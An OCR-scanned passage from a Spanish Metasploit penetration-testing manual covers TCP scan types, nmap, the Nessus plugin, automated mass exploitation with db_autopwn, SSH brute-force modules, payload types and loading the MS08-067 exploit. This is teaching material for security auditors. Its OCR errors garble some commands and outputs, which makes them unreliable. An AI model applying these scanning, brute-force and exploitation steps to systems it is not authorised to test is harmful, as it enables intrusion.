que se puedan encontrar en el análisis de puertos.
Tipos de escaneo
Existen gran cantidad de tipos de escaneos, con diferentes objetivos.A continuación se van a estudiar
los mismos. Herramientas como nmap disponen de gran versatilidad y posibilidad de configuración,
es recomendable estudiar el uso y configuración de esta potente herramienta.
Half Sean
Este tipo de escaneo consiste en realizar el procedimiento three-way handshake sin concluir por
completo para no crear una conexión. En otras palabras, el emisor envía un SYN para iniciar
conexión, si el receptor envía un SYN+ACK significa que el puerto se encuentra abierto, entonces
el emisor envía un RST+ACKpara finalizar la conexión, en vez de unACKque sería lo normal para
crear la conexión. La viabilidad de este tipo de escaneo es alta, con gran fiabilidad en su ejecución.
•••
Fig 2.06: Escaneo de tipo halfsean.
Capítulo JI. Preliminares Mil
Metasploit dispone de un módulo de tipo auxiliary para realizar este tipo de escaneas. El módulo se
encuentra en la ruta auxiliary/scanner/portscanltcp. Al mirar las opciones se puede configurar las
direcciones IP a escanear, el rango de puertos que se analizarán, la variable pcapjile dónde se puede
indicar la ruta de una captura de red con la que el módulo procese la información y la muestre, el
timeout, etcétera. Este pequeño módulo es bastante útil para realizar este tipo de escaneo.
ACKSean
La finalidad de este escaneo es distinta, no es determinar si un puerto se encuentra abierto o no, si
no si un equipo de la red escucha las peticiones a través de unjirewall. El emisor envía un paquete
con un ACK activo, el receptor debe responder con un RST esté el puerto abierto o no, si no existe
respuesta es que hay un cortafuegos en medio de la comunicación.
Metasploit dispone de un módulo, como el anterior de tipo auxiliary, para llevar a cabo este tipo de
escaneas y pruebas sobre equipos remotos y la comunicación con éstos. El módulo se encuentra en
la ruta auxiliary/scanner/portscan/ack. Al mirar las opciones se pueden configurar las direcciones IP
a escanear, el rango de puertos que se estudiarán, entre otros valores interesantes.
Null Sean
Este tipo de escaneo tiene una característica curiosa y es que el paquete que se envía no contiene
ningún bit activo. El emisor envía este tipo de paquetes y si el puerto se encuentra abierto no se
recibirá nada, si por el contrario el puerto se encuentra cerrado se envía un RST+ACK. Es por
ello, que normalmente se puede encontrar en otros libros que este tipo de escaneo tiene como fin
averiguar cuáles son los puertos TCP cerrados.
Xmas Sean
Este tipo de escaneo tiene en sus paquetes los bits de control activos. Windows, por defecto, no
responde a este tipo de paquetes, pero antiguamente la pila TCP/IP, respondía con un paquete
RST+ACK cuando el puerto se encontraba cerrado, mientras que si el puerto se encontraba abierto
no se respondía. La viabilidad de este tipo de escaneas no es ni mucho menos óptima, inclinándose
hacia una viabilidad mala.
•••
Fig 2.07: Módulo xmas auxiliary de Metasploit.
MJ:i Metasploit para Pentesters
Metasploit dispone de un módulo, de tipo auxiliary, para llevar a cabo este tipo de escaneo. Este
módulo se encuentra en la ruta auxiliary/seannerlportsean/xmas. Las opciones que dispone son
parecidas a las del módulo de escaneo de tipo ACK.
FIN Sean
Este tipo de escaneo consiste en la creación de un paquete TCP con el bit de FIN activo. El emisor
envía el paquete y si el puerto se encuentra abierto no se obtendrá respuesta, sin embargo, si el puerto
se encuentra cerrado se recibirá un RST+ACK. El objetivo o finalidad de este tipo de escaneo es
idéntico al null sean y xmas sean, incluso algunos autores los agrupan como escaneos de detección
de puertos cerrados a estos tipos.
Conneet Sean
Es un tipo de escaneo antiguo, y quizá uno de los menos originales de los que se han podido estudiar
en este libro. Su funcionamiento es el siguiente, en primer lugar se realiza el proceso completo de
three-way handshake, creando una conexión entre 2 máquinas si el puerto se encuentra abierto en
la máquina víctima. Una vez que la conexión se encuentra establecida el servicio que se encuentra
detrás de dicho puerto se identifica enviando el banner del servicio. En este punto el emisor envía un
ACK y por último un RST+ACK para forzar el cierre de la conexión. Se puede obtener además de la
conclusión de que el puerto está abierto o no, la identificación del producto y la versión del servicio.
ldle Sean
Este escaneo es uno de los más complejos y su eficacia depende de la máquina elegida como zombie.
En el escenario habrá al menos 3 máquinas, una es la del atacante, otra será la zombie o intermediaria
y la última la víctima. La máquina del atacante debe chequear que el zombie utilice un algoritmo
predecible para marcar los paquetes IP. P ara averiguar este detalle el emisor o atacante envía varios
paquetes con SYN+ACK para iniciar una conexión.El objetivo es obtener RST y chequear que los
ID de las respuestas sean sucesivas o predecibles. También se debe verificar que la máquina zombie
no esté teniendo tráfico, ya que si no el proceso sería inviable.
Cuando el atacante haya encontrado una máquina zombie que pueda ser utilizada, el atacante enviará
paquetes SYN a la máquina víctima haciendo IP Spoofing. Los paquetes enviados desde la máquina
atacante, con la dirección IP de la máquina zombie, a la víctima son en realidad un sean normal. La
diferencia se encuentra en que las respuestas de la víctima irán destinadas a la máquina zombie, por
la suplantación de IP realizada por el atacante.
Tras esperar un corto período de tiempo el atacante preguntará por el ID de los paquetes de la
máquina zombie y pueden ocurrir 2 situaciones concretas, en primer lugar el ID se ha incrementado
•••
Capitulo JI. Preliminares
nmap
Esta herramienta, mundialmente conocida, permite al auditor explorar los puertos abiertos,
detección de servicios, averiguar versiones de productos, fingerprint del sistema operativo, entre
otras acciones. La herramienta se encuentra disponible tanto para sistemas Linux como Windows.
nmap puede suponer, a primera vista, una herramienta costosa de utilizar por su flexibilidad y
diversidad en las posibles acciones a realizar con ella. Es verdad que dispone de gran cantidad de
parámetros, por lo que se intentará listar algunos de interés relacionados con los tipos de escáneres
vistos en este libro. También, se puede recomendar el uso de interfaces gráficas para la utilización
de nmap, y de este modo simplificar el entendimiento y uso de la herramienta.
La ejecución de los comandos nmap se puede generalizar mediante el siguiente esquema nmap
<tipo de sean> <opciones>. La ejecución por defecto sería la siguiente nmap <dirección IP>, con
la que se obtiene un reporte de la máquina con dicha dirección IP dónde se informa de los puertos
abiertos, servicios encontrados o el estado de la máquina. Para ser el escaneo por defecto no es poca
la información obtenida.
A continuación se listan los diferentes parámetros que se deben añadir a la ejecución de nmap para
obtener distintos resultados, en función de los tipcis de escaneas vistos anteriormente.
•••
Metasploit para Pentesters
Hay que destacar que cuando nmap devuelve que un número determinado de puertos han sido
filtrados, no quiere decir que determinados estén cerrados.. Cuando el mensaje indique que el puerto
se encuentra filtrado, quiere decir que esa máquina dispone de unfirewall el cual está filtrando esas
peticiones a ciertos puertos, mientras que si el mensaje indica que el puerto está cerrado quiere decir
que se ha obtenido respuesta de la máquina al analizar ciertos puertos, pero que éstos se encuentran
sin ningún servicio.
Una de las operativas más interesantes es la evasión de sistemas de detección de intrusos mediante
la fragmentación de los paquetes, spoofing de direcciones MAC, señuelos, spoofing de direcciones
IP, etcétera. Para obtener más información sobre las posibilidades de nmap se aconseja la visita y
lectura del sitio web oficial http://nmap.org/man/es/.
En el libro se utilizará el motor PostgreSQL, pero se pueden utilizar otros, como por ejemplo, MySQL.
En primer lugar se deberá disponer de la base de datos arrancada, por lo que la primera acción a
•••
Capítulo JI. Preliminares 4il
llevar a cabo es /etc!init.d/postgresql-8.4 start, la versión puede variar en función de la descarga
realizada de PostgreSQL. Pueden surgir ciertos aspectos o problemas que impidan la creación de las
tablas, por parte delframework. Por ejemplo, la contraseña del usuario postgres, para cambiar dicha
contraseña debe ejecutarse las siguientes órdenes como se puede observar en la siguiente imagen.
Para comprobar el estado del framework respecto a la base de datos se puede utilizar el comando
db_status. Si todo ha ido correctamente se obtendrá el mensaje postgresql connected to <nombre
bbdd>.
A continuación se debe importar el fichero generado anteriormente con nmap, el cual dispone de los
distintos resultados obtenidos con esta herramienta. El comando para realizar dicha importación es
db_import <fichero XML>.
Una vez se ha importado el fichero correctamente se disponen de ciertos comandos que interactúan
con la información almacenada como son db_hosts, db_services, db_notes, entre otros.
El comando db_hosts permite realizar búsquedas y consultas sobre la información de los equipos
que se encuentran importados en la base de datos. Hay que tener en cuenta, que cuando se utiliza
una base de datos es que se dispone de gran cantidad de información sobre equipos, servicios de
•••
4iW Metasploit para Pentesters
éstos, versiones de los servicios, etcétera. Es por ello que el comando db_hosts es fundamental para
realizar consultas sobre características de algunos equipos y delimitar el rango de acción.
El comando db_services permite obtener información sobre los distintos servicios disponibles
en las máquinas analizadas, puertos abiertos, protocolos, etcétera. Este comando dispone de los
mismos parámetros que db_hosts, con el mismo significado, pero además aporta otros que añaden
funcionalidad.
Es importante recalcar que los parámetros deben ser ejecutados utilizando varios a la vez para afinar
las búsquedas y sacar el máximo provecho de la base de datos y el proceso de filtrado sobre ésta. Por
ejemplo, db_services-a 192.168.1.39 -n msrpc -r tcp, de esta manera se está filtrando con mayor
restricción y seguro que el auditor consigue afinar más su búsqueda.
El comando db_notes permite al auditor visualizar notas o información sobre los equipos. Este
comando dispone de un parámetro que es el -a con el que el auditor puede realizar búsqueda de
notas de equipos a través de sus direcciones IP.
•••
Capítulo JI. Preliminares 4ii
El comando db_vulns permite al auditor obtener información sobre las vulnerabilidades que disponen
los equipos escaneados. Además, se obtiene la referencia de la vulnerabilidad por lo que se puede
obtener información extra fácilmente buscándola en sitios web como http://cve.mitre.org/index.html
ó http://www.securityfocus.com.
El comando para utilizar nmap en la msfconsole de Metasploit es db_nmap. Por debajo se utiliza
nmap por lo que las opciones son las mismas. Tras la utilización de db_nmap, si se dispone de la
conexión con la base de datos, los resultados quedan almacenados en ésta.
3. Escáneres de vulnerabilidades
Los escáneres de vulnerabilidades permiten al auditor evaluar sistemas informáticos, equipos, redes,
verificar actualizaciones, versiones, etcétera. Existen gran cantidad de escáneres, los cuales ayudan
al auditor a realizar distintas pruebas y poder llegar a ciertas conclusiones sobre el status de seguridad
de una organización. Los escáneres disponen de un objetivo común, enumerar vulnerabilidades de
seguridad en uno o más equipos de una red u organización. Por otro lado, existen distintos enfoques
en los escáneres de vulnerabilidades, es decir, disponen de diferentes funcionalidades para realizar
la evaluación.
La información obtenida tras el análisis de las máquinas, redes, servicios, productos, etcétera, puede
servir al auditor para detectar vulnerabilidades conocidas o recientemente descubiertas que pudiesen
ser explotadas por un potencial atacante.
•••
4il Metasploit para Pentesters
Por otro lado, elframework dispone de un plugin el cual permite utilizar la herramienta nessus en el
entorno de msfconsole e incluir los resultados directamente en la base de datos de Metasploit para
ser explotados en la siguiente fase del test de intrusión. Este plugin es cargado mediante la ejecución
de la instrucción load nessus en una sesión de msfconsole.
•••
Fig 2.11: Activación de nessus.
Capítulo JI. Preliminares 4iM
Para usar nessus se debe disponer de la herramienta registrada, obteniendo un código de activación en
la siguiente URL http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-code.
Tras obtener el email con el código de activación se deben seguir las instrucciones que acompañan al
correo electrónico para llevar a cabo el proceso de registro. Tras la activación se recomienda añadir
un usuario mediante el uso del comando nessus-adduser que se encuentra en la ruta /opt/nessus!sbin,
o accediendo mediante un navegador a la dirección https:!/localhost:8834.
Estos son los comandos más interesantes disponibles con el plugin de nessus en Metasploit.
Comando Descripción
nessus-connect Realiza la conexión con el servidor de nessus.
nessus_policy_list Muestra las políticas de auditoría que se encuentran creadas.
Permite realizar un nuevo escaneo de vulnerabilidades. Ejemplo:
nessus-sean-new nessus_sean_new <identificador de política> <nombre del reporte>
<dirección JP>.
nessus-sean status Muestra el estado del proceso.
nessus_scan_stop Para un escaneo en concreto que actualmente está siendo ejecutado.
nessus_sean_stop_ al! Para todos los escaneos que se encuentran en ejecución.
nessus_report_list Lista los reportes disponibles, útil para obtener los identificadores.
Muestra información sobre un reporte en concreto. Ejemplo:nessus_
nessus_report_get
report_get <identificador>.
Muestra posibles exploits que pueden ser lanzados sobre la máquina
nessus_report_exploits
remota.
Los comandos nessus_report_hosts, nessus_report_host_detail,
nessus_report_host* nessus_report_host_ports proporcionan información detallada al
auditor sobre las máquinas, puertos, protocolos, etcétera.
Tabla 2.04: Comandos del plugin de nessus.
•••
4iM Metasploit para Pentesters
ID Name Comments
Una vez conectado con el servidor de nessus, se ha autenticado y se ha lanzado el escáner sobre un
objetivo, se puede almacenar la información en una base de datos como se vio en el punto de nmap.
Tras lanzar el escaneo sobre el objetivo se puede recoger el reporte y mediante el uso del identificador
que dispone éste realizar distintas acciones, como pueden ser listar posibles vulnerabilidades
encontradas en las máquinas remotas, obtener información sobre puertos abiertos, protocolos
utilizados en dichas máquinas, obtener gran detalle sobre el sistema operativo de las máquinas
remotas y versiones de los servicios, ver que exploits están disponibles para ser lanzados, etcétera.
ms_r > nessus repo rt _Lis t
Nessus Report L1st
192 .168.11.168 1 Microsoft Windows XP Service Pack 2 or Microsoft Windows XP Service Pack 3 44
5 1 NSS-26926 1 Sev 2 1 ["windows/http/edirectory_host"l
192 .168.11.188 1 Microsoft Windows XP Service Pack 2 or Microsoft Windows XP Service Pack 3 44
5 1 NSS-18394 1 Sev 1 1 ["windows/sllb/psexec"l
192.168.11.168 1 Microsoft Windows XP Service Pack 2 or Microsoft Windows XP Service Pack 3
I NSS-18114 1 Sev 1 1 ["windows/oracle/tns_arguaents"]
msf >
•••
Fig 2.15: Gestión de reportes.
Capítulo JI. Preliminares 411
Existen más comandos del plugin de nessus, los cuales proporcionan configuración básica y
avanzada del servidor de la herramienta, y todo ello desde el entorno de Metasploit. Estos comandos
pueden ser útiles para gestionar y configurar el escáner correctamente, pero este proceso escapa de
los objetivos del presente libro.
Este escáner dispone de una interfaz gráfica y de un cliente de línea de comandos. El cliente de línea
de comandos es más versátil y proporciona un mayor número de funcionalidades al auditor. Una de
las más interesantes es la posibilidad de exportar a un fichero XML la información recogida por el
escáner.
Este documento puede ser importado a la base de datos de Metasploit directamente a través del
comando db_import, previa conexión del framework a la base de datos. Una vez el fichero es
importado a la base de datos se puede acceder a dicha información a través de los comandos de tipo
db_ * que se han estudiado en este capítulo.
La conclusión final que debe quedar al auditor es la facilidad para importar los resultados de otros
escáneres a Metasploit y el tratamiento de dicha información, gracias a la flexibilidad delframework,
para avanzar en el test de intrusión.
Técnica Autopwn
La funcionalidad autopwn permite al auditor automatizar el proceso del test de intrusión. El auditor
realizará un análisis o escaneo sobre una red y en función de los resultados, autopwn, lanzará una
serie de exploits que pueden provocar la obtención de acceso remoto al sistema vulnerable.
Autopwn se apoya en una base de datos, la cual en este capítulo se ha visto como crear y como
conectar con ella, para recoger la información que utilizará para lanzar una cantidad de exploits con
el objetivo de aprovechar alguna vulnerabilidad conocida sobre los servicios que pueden disponer
las máquinas remotas. Si autopwn explota alguna vulnerabilidad puede devolver el control de la
máquina remota, por ejemplo, proporcionando una sesión de meterpreter o una shell remota.
El potencial que proporciona esta funcionalidad es enorme ya que se pueden utilizar la información
recogida con distintos escáneres, por ejemplo nessus o nmap, utilizando la importación mediante
archivos o incluso la integración de la herramienta con el framework automáticamente. Una vez
elegida la manera de trabajar, autopwn realizará el resto.
•••
4i:i Metasploit para Pentesters
El comando para interactuar con la funcionalidad es db_autopwn. Hay que tener en cuenta que en
algunas versiones de Metasploit, se está deshabilitando esta funcionalidad, por lo que se recomienda
al auditor que tenga cuidado al actualizar elframework, si no quiere perder dicha funcionalidad. Este
comando dispone de los siguientes parámetros que aportan distintos comportamientos:.
En primer lugar, tras lanzar msfconsole, se conecta el framework a la base de datos y se lanza un
nmap sobre la red de estudio. La información de nmap queda almacenada en la base de datos, la cual
puede ser recuperada en cualquier instante, por si fuera necesario. Las opciones con las que nmap
sea lanzado queda en manos de la imaginación, necesidad y creatividad del auditor.
•••
Capítulo JI. Preliminares 4iil
� > db_connect postgres:[email protected]/test_libro
� > db_nmap -ss 18.8.8.9/24
[*) Nmap: Starting Nmap 5.51SVN ( http://nmap.org J at 2812-96-13 85:35 CEST
[*) Nmap: Nmap sean report for 10.0.e.1
[*) Nmap: Host is up (0.800834s latency).
[*) Nmap: Not shown: 999 closed ports
[*) Nmap: PORT STATE SERVICE
[*l Nmap: 111/tcp open rpcbind
[•J Nmap: Nmap sean report for 18.8.8.188
[*] Nmap: Host is up (0.8812s latency).
[*} Nmap: Not shown: 997 closed ports
[*] Nmap: PORT STATE SERVICE
[•; Nmap: 135/tcp open msrpc
[*l Nmap: 139/tcp open netbios-ssn
[*l Nmap: 445/tcp open microsoft-ds
[*] Nmap: MAC Address: 88:88:27:A4:A9:3D (Cadmus Computer Systems)
[*) Nmap: Nmap sean report for 10.0.0.110
[*l Nmap: Host is up (0.08lls latency).
[*} Nmap: Not shown: 997 closed ports
[*1 Nmap: PORT STATE SERVICE
[*] Nmap: 135/tcp open msrpc
[*l Nmap: 139/tcp open netbios-ssn
[*} Nmap: 445/tcp open microsoft-ds
[*} Nmap: MAC Address: 98:88:27:E9:43:A5 (Cadmus Computer Systems)
í*J Nmao: Nmao done: 256 IP addresses (3 hosts uol scanned in 31.34 seconds
Fig 2.16: Conexión a la base de datos y escaneo con nmap.
Ahora se dispone de lo necesario para lanzar autopwn sobre los equipos que se requiera. Hay que
tener en cuenta qué se necesita o Jo que se requiere, por lo que no está de más disponer cerca los
parámetros de autopwn y decidir sobre qué equipos se lanza, quizá no sea necesario lanzarlo sobre
todos los equipos que forman parte de la red, o quizá se requiera sólo sobre algunos de ellos que
disponen de ciertos servicios y no sobre todos. Por lo que de nuevo el auditor debe elegir la mejor
acción en función de las necesidades del test de intrusión.
Hosts
18.8.8.1
18.8.0.188 98:99:27:A4:A9:3D
18.8.9.118 98:09:27:E9:43:A5
Tras el lanzamiento de autopwn toca esperar hasta que la recolección y ejecución de exploits
termine. Cuanto mayor sea el número de máquinas mayor tiempo llevará el proceso de prueba.
En algunos rincones de Internet se denomina, coloquialmente, a autopwn como la metralleta de
Metasploit por el efecto arrasador que provoca en un test de intrusión. Hay que recordar, que los
•••
Metasploit para Pentesters
más puristas indican que el test de intrusión debe estar siempre controlado y saber que exploits se
ejecutan en cada momento, a la vez que no probar algo si no se tiene la certeza de que puede existir
una vulnerabilidad. Autopwn rompe con estas sentencias o consejos, por lo que es el lector el que
debe elegir si utilizar esta funcionalidad en el mundo profesional.
En primer lugar, se debe conectar con la base de datos con el comando db_connect como se ha
realizado en la prueba de concepto anterior. Hay que tener en cuenta que para utilizar nessus
integrado con Metasploit se debe cargar el plugin mediante la instrucción load nessus en la sesión
de msfconsole. Una vez disponibles los comandos de nessus en la sesión en curso de msfconsole se
debe conectar con el servidor del escáner mediante el uso de nessus connect <dirección servidor>.
Se debe tener claro qué política se utilizará para realizar el escaneo, en este ejemplo se utilizará
una creada previamente en nessus cuyo nombre es msf_libro. Para lanzar el escaneo utilizando
esta política se utilizará el comando nessus_scan_new <id política> <nombre escaneo> <red o
equipo>.
ID Name Comments
El escaneo puede llevar bastante tiempo, en función de lo que se compruebe. Metasploit no bloquea
la sesión de msfconsole, lanza el proceso en segundo plano y en cualquier momento se puede
comprobar en qué estado se encuentra el escaneo con el comando nessus_scan_status.
•••
Capítulo 11. Preliminares 'ª'
mil > nessus_sean_ status
Running Scans
Fig 2.20: Información sobre el estado del proceso lanzado desde nessus.
Ahora para importar los resultados del reporte a la base de datos se puede utilizar el comando
nessus_report_get < id report>. La importación de datos puede llevar su tiempo debido a la cantidad
de información de la que se disponga en el reporte original.
Este es un buen momento para refrescar los comandos db_hosts, db_services, db_vulns y ojear la
información que se dispone en la base de datos. Una vez que el auditor esté preparado para lanzar
autopwn y crea que éste puede tener éxito sobre los equipos remotos, se lanzará la funcionalidad
contra los equipos.
•••
INM Metasploit para Pentesters
El objetivo
Es realmente importante conocer las versiones de los productos y el estado de éstos. Hoy en día
una configuración por defecto o una mala configuración también pueden ser signos de posibles
problemas de seguridad graves. Es cierto que cuanta más información se disponga del objetivo, las
posibilidades de éxito en el test de intrusión aumentan.
Una vez que se dispone de este tipo de información, que puede ser más útil de lo que a priori a
cualquier usuario, incluido los administradores, les pueda parecer es posible realizar la búsqueda de
exploits para las versiones de los productos localizados en el análisis del entorno.
Google, conocido por todo usuario de Internet, es uno de los mayores buscadores de exploits al que se
puede acceder. Simplemente realizando búsquedas con palabras mágicas como exploit <producto>
<versión> se pueden obtener resultados sorprendentes, consiguiendo por supuesto el exploit que se
requiere. Pero esto es una práctica que un usuario de Internet realizaría ante una búsqueda requerida
de cualquier cosa.
Otras fuentes interesantes sobre exploits con grandes bases de datos son:
http://www.exploit-db.com. La cual proporciona gran cantidad de información sobre
exploits organizados por categorías como locales, remotos, web, etcétera. Como curiosidad
indicar que en algunos exploits se proporciona también el ejecutable de la versión del
producto vulnerable. También disponen de una dirección para descargar exploits escritos por
Metasploit directamente, http://www.exploit-db.com/author/? a =3211.
http://packetstormsecurity.org. Otra de las grandes referencias en sitios web de seguridad.
Actualización diaria de exploits con toda la información detallada sobre las vulnerabilidades.
http://www.securityfocus.com. Siempre actualizada y con la información detallada, un
sitio web que no puede faltar en los favoritos de nadie. Recomendable el uso de sus listas
para estar siempre informado.
Para empezar se exponen 2 módulos que ayudarán al auditor a obtener la versión de un servidor
FTP remoto. La primera herramienta o módulo que se utiliza es auxiliary/scanner/ftp/ftp_version .
•••
Capítulo JI. Preliminares iiii
Su configuración es realmente sencilla, se indica el FTP remoto en la variable RHOSTS, el puerto
por el que escucha el FTP.
mRHOSTS es
auxiliary(ftp_version) > run
l*I •·•·•·•=21 FTP Banner: '220 ProFTPO 1.2.8 Server (ProFTPD Default Installation) [
•••es] \x0d\x0a
l*I Scanned 1 of 1 hosts (100% complete)
[•I Auxiliary module execution completed
m_n auxiliary(ftp version) > 1
Fig 2.23: Detección de versión de un servidor FTP.
Existen distintos módulos auxiliary para el servicio SSH. El primero que se explica permite
obtener de manera rápida la versión del servicio remoto. La ruta de esta herramienta es auxiliary/
scanner/sshlssh_version y es bastante sencillo de configurar, se indica la máquina remota y se lanza
el módulo.
[•J �..... 4.• :22, SSH server version: SSH-2.0-0penSSH 5.lpl Debian-5
[•) Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_version) >
Fig 2.24: Detección de versión de un servidor SSH.
Existen otras herramientas muy interesantes para realizar fuerza bruta sobre el servicio SSH. La
primera se encuentra en la ruta auxiliary/scanner/ssh/ssh_login y permite realizar fuerza bruta a
cuentas de usuario que se puedan entrar en el sistema mediante autenticación de login y password.
A este módulo se le puede configurar un diccionario de claves y una lista de usuarios e ir probando
las posibles combinaciones. Además, comprobará la posibilidad de autenticarse en el sistema con
clave en blanco, una mala configuración en un servidor. La segunda herramienta se encuentra en la
ruta auxiliary/scanner/ssh/ssh y permite realizar fuerza bruta a usuarios que se autentiquen mediante
el uso de certificados. En otras palabras, se dispone de una clave privada, obtenida de algún modo,
posiblemente fraudulento, y se va probando con los distintos usuarios que se especifiquen.
El servicio SMB, Server Message Block, también dispone de herramientas con las que se puede
obtener información útil para poder utilizarlas durante el ataque. En la ruta auxiliary/scannerlsmb/
smb_version se dispone de un escáner con el que se puede detectar la versión del sistema operativo
dónde se encuentra el servicio SMB. Si Metasploit estuviera conectado a la base de datos, los
resultados obtenidos de estos escáneres actualizarían los valores de dicha base de datos. La prueba
se puede realizar de la siguiente manera: tras lanzar el escáner se puede realizar una consulta, por
ejemplo con la instrucción db_hosts -e name,os_sp,address. Se puede anexar más columnas en
función de la información que se quiera recuperar de la base de datos.
•••
Mil Metasploit para Pentesters
Este tipo de escáneres orientados a un servicio concreto son más silenciosos que los escáneres que
analizan un gran número de servicios o recursos, por lo que si se necesita evitar un análisis masivo
y ruidoso, estas herramientas son esenciales.
Existen gran cantidad de herramientas para muchos servicios, simplemente se debe buscar en la ruta
auxiliary/scanner. Herramientas para HTTP, MySQL, netbios, NFS, Oracle, Postgres, SAP, SIP,
SNMP, etcétera. Como se puede ver Metasploit proporciona gran cantidad de pequeñas utilidades
para realizar una exploración y análisis de servicios sin desplegar ruido sobre el entorno .
•••
Capítulo III. El arte de la intrusión
Capítulo 111
-�-
El arte de la intrusión
l. Ámbito
El presente capítulo explica la fase de explotación de vulnerabilidades mediante el uso de Metasploit.
En esta fase el auditor, tras analizar la información obtenida y las posibles vulnerabilidades
encontradas, lanzará uno o varios exploits con el objetivo de lograr acceso a un sistema informático
remoto o información a la que no tiene un acceso autorizado.
Esta fase necesita que el auditor disponga del framework actualizado con exploits recientes, los
cuales pueden ser obtenidos a través de Internet. Cuanto mayor número de exploits recientes se tenga
más posibilidades existen de disponer de la llave que proporcione el éxito en el test de intrusión.
Además, se debe estar informado sobre las vulnerabilidades que aparecen diariamente sobre los
sistemas, ya que esto puede ayudar a encontrar pequeños agujeros en los mismos, aunque se
encuentren actualizados casi diariamente.
Por otro lado, hay que comentar que la explotación de un sistema puede ir acompañado de la
interacción de un usuario con el atacante, por ejemplo a través de una conexión a un servidor web,
o la no interacción de la víctima con el atacante. Por ejemplo un usuario no dispone de un servicio
actualizado o correctamente configurado. Es bastante lógico, y así se entiende que un ataque sin
interacción de la víctima provoca mayor temor por parte de los usuarios, pero hoy en día es igual de
factible y temible un ataque con interacción, ya que un usuario normal utiliza links para acceder a
mucha información en su día a día, y son aquellos links los que pueden llevarle a cualquier lugar de
Internet inesperado, por ejemplo un servidor web que lance exploits sobre el equipo de la víctima.
Por último destacar, que en muchas ocasiones la explotación de vulnerabilidades puede llegar a ser
frustrante, ya que puede parecer que no se encuentra la vía de acceso para realizar la explotación,
o que incluso no existe un exploit que aproveche esa vía. Se recomienda a los lectores que tengan
•••
'ª* Metasploit para Pentesters
paciencia, realicen un estudio y análisis de los sistemas exhaustivo y que en muchas ocasiones el
camino más corto hacia el objetivo no es el mejor, y estudiando un camino alternativo se puede
lograr mayor éxito en el test de intrusión.
Como ejemplo práctico se indica el siguiente: se debe probar la seguridad de un equipo con Windows
7, y se dispone de conectividad directa desde el equipo del auditor, pero por mucho que se lanzan
exploits no se logra vulnerar el equipo. Tras analizar el segmento en el que se localiza el equipo
objetivo, se encuentran equipos con sistemas operativos Windows XP, los cuales se detecta que son
vulnerables.
Tras aprovechar estas vulnerabilidades son controlados remotamente, y se puede obtener información
valiosa de ellos, como por ejemplo, un listado de usuarios y hashes, ¿y si esos usuarios se encuentran
en el equipo con Windows 7? Ya se dispondría de acceso al equipo objetivo. No se ha utilizado el
camino más corto, pero por un camino alternativo se ha obtenido el éxito en la prueba de intrusión.
2. Payloads
Los payloads son uno de los protagonistas de este libro y de los test de intrusión. Ellos aportan el
éxito o el fracaso en muchas de las pruebas que se pueden realizar en el proceso. Son la esencia del
ataque, la semilla que se ejecuta en el interior de la máquina remota y proporcionará al atacante o
auditor el poder de controlar el sistema remoto.
Existen distintos tipos de payloads como son los singles, stagers y staged. Estos diferentes tipos
permiten gran versatilidad y pueden ser de gran utilidad en numerosos escenarios posibles.
Los paylaod de tipo single, también conocidos como inline, son autónomos y realizan una tarea
concreta o específica. Por ejemplo, bind a una shell, creación de un usuario en el sistema, ejecución
de un comando, etcétera.
Los payload de tipo stagers se encargan de crear la conexión entre el cliente y la víctima, y
generalmente, son utilizados para descargar payloads de tipo staged.
Los payload de tipo staged se descargan y son ejecutados por los de tipo stagers y normalmente
son utilizados para realizar tareas complejas o con gran variedad de funcionalidades, como puede
ser, un meterpreter. En otras palabras los de tipo staged utilizan pequeños stagers para ajustarse
en pequeños espacios de memoria dónde realizar la explotación. La cantidad de memoria que se
dispone para realizar la explotación, en la mayoría de los casos, está limitada. Los stagers se colocan
en este espacio y realizan la función necesaria para realizar la conexión con el resto del payload, de
tipo staged.
Todos los exploits en Metasploit utilizan exploit/multilhandler. Este módulo es capaz de gestionar
y manejar cada uno de los exploits que se encuentran en elframework, sin importar la conexión o
el tipo de arquitectura. Este módulo está diseñado de tal forma que sabe como tratar cada tipo de
•••
Capítulo 111. El arte de la intrusión Mil
payload porque en su configuración se le dice que debe esperar. Cuando el auditor se encuentra
con un módulo cargado, previo uso del comando use, llega un momento en el que se debe elegir el
payload, con la instrucción set PAYLOAD <ruta payload>, y es en este punto cuando implícitamente
se llama a exploit/multilhandler de manera transparente al auditor. En otras ocasiones, puede ser que
se deba utilizar explícitamente a exploit/multilhandler para manejar y gestionar las posibles sesiones
remotas.
Para visualizar todos los payloads disponibles en el framework se dispone del comando show
payloads ejecutado desde la raíz de msfconsole. Si se ejecuta este comando una vez se encuentra
cargado un módulo concreto, sólo se mostrarán los payloads válidos para dicho módulo, siempre y
cuando el desarrollador del módulo así lo haya especificado.
La ruta donde se encuentran físicamente estos payloads, (hay que tener en cuenta que en el libro
se utiliza BackTrack), es /pentest/exploits/jramework3/modules/payloads donde se organizan los 3
tipos por carpetas con los nombres de éstos.
Otra de las cosas que hay que tener en cuenta cuando se listan los distintos payloads es la propiedad
NoNX y NX. El NX bit es una característica de los procesadores modernos para prevenir la ejecución
de código en ciertas áreas de memoria. Por ejemplo, en sistemas Windows NX es implementado
como DEP. Si se ve esta característica en algún payload del listado significa que ese código está
preparado para evadir el DEP.
Los payloads que indican IPv6 en la lista indican que están preparados para funcionar en redes 1Pv6.
También hay que tener claro que, generalmente, los test de intrusión no es sólo ejecutar código
arbitrario en una máquina remota, ya que se pueden utilizar estas máquinas vulneradas para acceder
a recursos más interesantes en una organización y conseguir mejores resultados. Es por esta razón
que los tipos stagers son también muy interesantes y útiles en algunos escenarios .
•••
1§:1 Metasploit para Pentesters
En primer lugar, tras arrancar msfconsole, se puede realizar una búsqueda por servicio, tecnología,
aplicación, mediante el comando search, por ejemplo search netapi. Se obtiene así una lista con los
módulos que encajan con el patrón de búsqueda introducido anteriormente.
En este punto ya se dispone de la ruta donde se aloja el módulo que se requiere, en este ejemplo sería
exploit/windows/smb/ms08_067_netapi. Para cargar el módulo se utiliza el comando use, y una vez
cargado se pueden configurar sus variables para lanzar el exploit sobre el objetivo. El cual en esta
prueba de concepto es una máquina Windows XP SP3 spanish. Este exploit se puede utilizar sobre
una gran cantidad de objetivos, cubriendo Windows 2000, 2003 y XP con SP2 y SP3.
Hay que recordar que los comandos info o help ayudan a obtener información sobre el módulo
o sobre los comandos que se pueden utilizar. Además, el comando show aporta información, por
ejemplo, sobre las opciones con las que se puede configurar el exploit y las opciones que dispone
el payload, o los payloads disponibles para este módulo con show payloads, o incluso los target
compatibles con el módulo con show targets.
•••
Capítulo 111. El arte de la intrusión INI
